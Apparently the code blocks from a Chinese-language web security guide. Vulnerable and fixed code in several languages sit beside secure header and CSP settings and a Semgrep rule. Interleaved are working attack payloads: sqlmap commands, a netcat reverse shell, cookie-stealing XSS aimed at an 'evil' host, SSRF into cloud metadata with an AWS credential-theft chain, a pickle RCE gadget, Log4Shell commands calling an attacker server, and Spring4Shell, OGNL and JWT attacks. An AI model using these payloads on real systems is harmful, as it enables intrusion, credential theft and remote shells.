1
GET /api/orders/123?detail=full HTTP/1.1
2
Host: shop.example.com
3
User-Agent: Mozilla/5.0
4
Accept: application/json
5
Cookie: session=abc; csrf=xyz
6
Authorization: Bearer eyJhbGciOi...
7
X-Forwarded-For: 1.2.3.4
8
Content-Type: application/json
9
Content-Length: 0

1
SOP   → 浏览器内置默认拒绝
2
CORS  → 服务端"放行"特定来源
3
CSP   → 页面"自我约束"加载/执行

1
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{rand}'; object-src 'none'
3
X-Frame-Options: DENY
4
X-Content-Type-Options: nosniff
5
Referrer-Policy: strict-origin-when-cross-origin
6
Permissions-Policy: camera=(), microphone=(), geolocation=()
7
Cross-Origin-Opener-Policy: same-origin
8
Cross-Origin-Embedder-Policy: require-corp
9
Cross-Origin-Resource-Policy: same-site
10
Cache-Control: no-store

1
sqlmap -u "https://t/?id=1" --dbs --batch --random-agent
2
sqlmap -u "https://t/" --data="user=a&pass=b" --level=3 --risk=2 --threads=4
3
sqlmap -r req.txt --tamper=between,space2comment,charunicodeencode
4
sqlmap -u "..." --os-shell                # 尝试拿 shell
5
sqlmap -u "..." --tor --tor-type=SOCKS5 --check-tor

1
String sql = "SELECT * FROM users WHERE id = '" + req.getParameter("id") + "'";
2
Statement stmt = conn.createStatement();
3
ResultSet rs = stmt.executeQuery(sql);
4
String sql = "SELECT * FROM users WHERE id = ?";
5
PreparedStatement stmt = conn.prepareStatement(sql);
6
stmt.setString(1, req.getParameter("id"));
7
ResultSet rs = stmt.executeQuery();

1
# 错（即便用了 ORM，raw 拼接仍有注入）
2
session.execute(text(f"SELECT * FROM users WHERE name = '{name}'"))
3

4
# 对
5
session.execute(text("SELECT * FROM users WHERE name = :n"), {"n": name})

1
ip=127.0.0.1;cat /etc/passwd
2
ip=127.0.0.1|nc attacker 4444 -e /bin/sh
3
ip=$(whoami)
4
ip=`id`
5
ip=127.0.0.1%0Acat%20/etc/passwd        # \n

1
(&(uid=*)(userPassword=*))      LDAP 通配登录
2
' or '1'='1                     XPath

1
GET /api/orders/123  →  改成 124 看到别人的订单
2
GET /api/users/me    →  改成 /api/users/2

1
<script>fetch('//evil/?'+document.cookie)</script>
2
<img src=x onerror=alert(1)>
3
<svg/onload=alert(1)>
4
<iframe srcdoc="<script>alert(1)</script>">
5
<a href="javascript:alert(1)">x</a>
6
<details open ontoggle=alert(1)>
7
<input autofocus onfocus=alert(1)>
8
"><script>alert(1)</script>

1
Content-Security-Policy:
2
  default-src 'self';
3
  script-src 'self' 'nonce-{random}' 'strict-dynamic';
4
  object-src 'none';
5
  base-uri 'none';
6
  frame-ancestors 'none';
7
  form-action 'self';
8
  upgrade-insecure-requests;
9
  report-to csp-report;

1
import DOMPurify from 'dompurify';
2
element.innerHTML = DOMPurify.sanitize(userInput, {
3
  USE_PROFILES: { html: true }
4
});

1
<div dangerouslySetInnerHTML={{ __html: userInput }} />   // ❌
2
<div>{userInput}</div>                                    // ✅ 默认转义

1
<form action="https://bank.example.com/transfer" method="POST">
2
  <input name="to" value="attacker">
3
  <input name="amount" value="9999">
4
</form>
5
<script>document.forms[0].submit()</script>

1
http://internal-service:8080/admin
2
http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS
3
http://metadata.google.internal/computeMetadata/v1/                # GCP
4
http://169.254.169.254/metadata/instance?api-version=2021-02-01    # Azure
5
file:///etc/passwd
6
gopher://localhost:6379/_SET key value    # Redis RCE
7
dict://localhost:11211/stats              # memcached
8
ldap://localhost:389/                      # LDAP
9
sftp:// , tftp:// , imap://                # 取决于 PHP fopen wrappers

1
1. SSRF 访问 http://169.254.169.254/latest/meta-data/iam/security-credentials/
2
2. 列出当前实例 IAM Role 名称，例如 ec2-app-role
3
3. GET .../iam/security-credentials/ec2-app-role
4
   → 返回 AccessKeyId / SecretAccessKey / Token
5
4. 用 aws cli 配置临时凭证：aws s3 ls / iam list-users
6
5. AssumeRole 横向到更高权限账号
7
6. 数据外带（S3 sync）/ 持久化（创建 IAM 用户）

1
上传 shell.php  →  绕过过滤  →  访问执行  →  RCE

1
import pickle, os, base64
2

3
class Exp:
4
    def __reduce__(self):
5
        return (os.system, ('id > /tmp/p',))
6

7
payload = base64.b64encode(pickle.dumps(Exp())).decode()
8
# 当受害者 pickle.loads(base64.b64decode(payload)) 时触发

1
ChainedTransformer
2
  → InvokerTransformer.transform("getRuntime") on Class
3
  → InvokerTransformer.transform("invoke") + "exec" + cmd
4
  打包进 LazyMap → MapEntry → AnnotationInvocationHandler
5
  反序列化时 readObject → 调用 Map.entrySet() → 触发链

1
alg=none 绕过：服务端代码 verify(token, key) 把 None 当合法
2
RS→HS 混淆：服务端把公钥当 HMAC 密钥
3
弱 secret：hashcat -m 16500 jwt.txt rockyou.txt
4
kid 注入：kid 走 SQL → 任意值导致 fall through
5
jku/x5u 外连：服务端去攻击者控制的 URL 取 JWK

1
import threading, requests
2
def buy():
3
    requests.post("https://t/buy", json={"coupon": "ONLY_ONE"}, cookies=COOK)
4
threads = [threading.Thread(target=buy) for _ in range(50)]
5
for t in threads: t.start()
6
for t in threads: t.join()

1
# 1. 攻击者起 LDAP 服务返回 reference 指向恶意 codebase
2
java -jar marshalsec.jar LDAPRefServer "http://attacker:8888/#Exploit"
3

4
# 2. 任意能进 log4j 的字段
5
curl https://t/login -H "User-Agent: \${jndi:ldap://attacker:1389/Exploit}"
6
# 或：搜索框、X-Api-Version、HTTP Header、邮件主题... 任何 log.info(变量) 处

1
log.info(userInput)
2
  → MessagePatternConverter.format()
3
    → StrSubstitutor.replace()
4
      → JndiLookup.lookup("ldap://attacker/...")
5
        → InitialContext.lookup()
6
          → LDAP 返回 javaCodebase=http://...class
7
            → ClassLoader.defineClass(Exploit) → static {} 块执行任意代码

1
// PatternLayout.java (2.15.0)
2
 if (LOG4J2_DISABLE_JMX_DEFAULT) {
3
     return false;
4
 }
5
 // JNDI lookup enabled by default
6
 // JNDI lookup disabled (2.16.0 完全移除)

1
?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
2
%25{c2}i if(...){Runtime.getRuntime().exec(request.getParameter(\"c\")) }
3
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
4
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

1
${(#a=@org.apache.commons.io.IOUtils@toString(...exec("id"))).toString()}

1
// graphql-armor 配置
2
const armor = new ApolloArmor({
3
  maxDepth: { n: 6 },
4
  maxAliases: { n: 15 },
5
  costLimit: { maxCost: 5000 },
6
  blockFieldSuggestion: { enabled: true },
7
});

1
// ❌ 路径遍历 + 命令注入 + XSS 同时存在
2
app.get('/file', (req, res) => {
3
  const filename = req.query.f;
4
  const data = fs.readFileSync(`/var/data/${filename}`);
5
  exec(`grep ${req.query.q} ${filename}`, (err, out) => {
6
    res.send(`<h1>${req.query.title}</h1><pre>${out}</pre>`);
7
  });
8
});

1
const path = require('path');
2
const { execFile } = require('child_process');
3
const escapeHtml = require('escape-html');
4

5
app.get('/file', (req, res) => {
6
  const filename = path.basename(req.query.f || '');         // 防遍历
7
  const target = path.join('/var/data', filename);
8
  if (!target.startsWith('/var/data/')) return res.status(400).end();
9
  execFile('grep', [req.query.q, target], (err, out) => {     // 防命令注入
10
    res.send(`<h1>${escapeHtml(req.query.title)}</h1>`        // 防 XSS
11
           + `<pre>${escapeHtml(out)}</pre>`);
12
  });
13
});

1
// ❌
2
$page = $_GET['page'];
3
include($page . '.php');                           // LFI / RFI
4
echo $_GET['name'];                                // XSS
5
mysqli_query($conn, "SELECT * FROM u WHERE id=" . $_GET['id']);  // SQLi

1
$ALLOWED = ['home', 'about', 'contact'];
2
$page = in_array($_GET['page'], $ALLOWED, true) ? $_GET['page'] : 'home';
3
include __DIR__ . "/pages/{$page}.php";
4
echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
5
$stmt = $conn->prepare("SELECT * FROM u WHERE id = ?");
6
$stmt->bind_param("i", $_GET['id']);
7
$stmt->execute();

1
# ❌
2
@app.route('/render')
3
def render():
4
    template = f"<h1>Hi {request.args.get('n')}</h1>"
5
    return render_template_string(template)        # SSTI
6

7
@app.route('/cmd')
8
def cmd():
9
    return os.popen(request.args.get('c')).read()  # RCE

1
@app.route('/render')
2
def render():
3
    return render_template_string("<h1>Hi {{ n }}</h1>",
4
                                   n=request.args.get('n'))
5

6
# /cmd 接口直接删除；如必须 → 白名单 + execv

1
rules:
2
  - id: python-eval-on-userinput
3
    pattern-either:
4
      - pattern: eval($X)
5
      - pattern: exec($X)
6
    pattern-not: eval("...")
7
    metadata:
8
      cwe: 'CWE-95'
9
      severity: ERROR
10
    message: Avoid eval/exec on user input.
11
    languages: [python]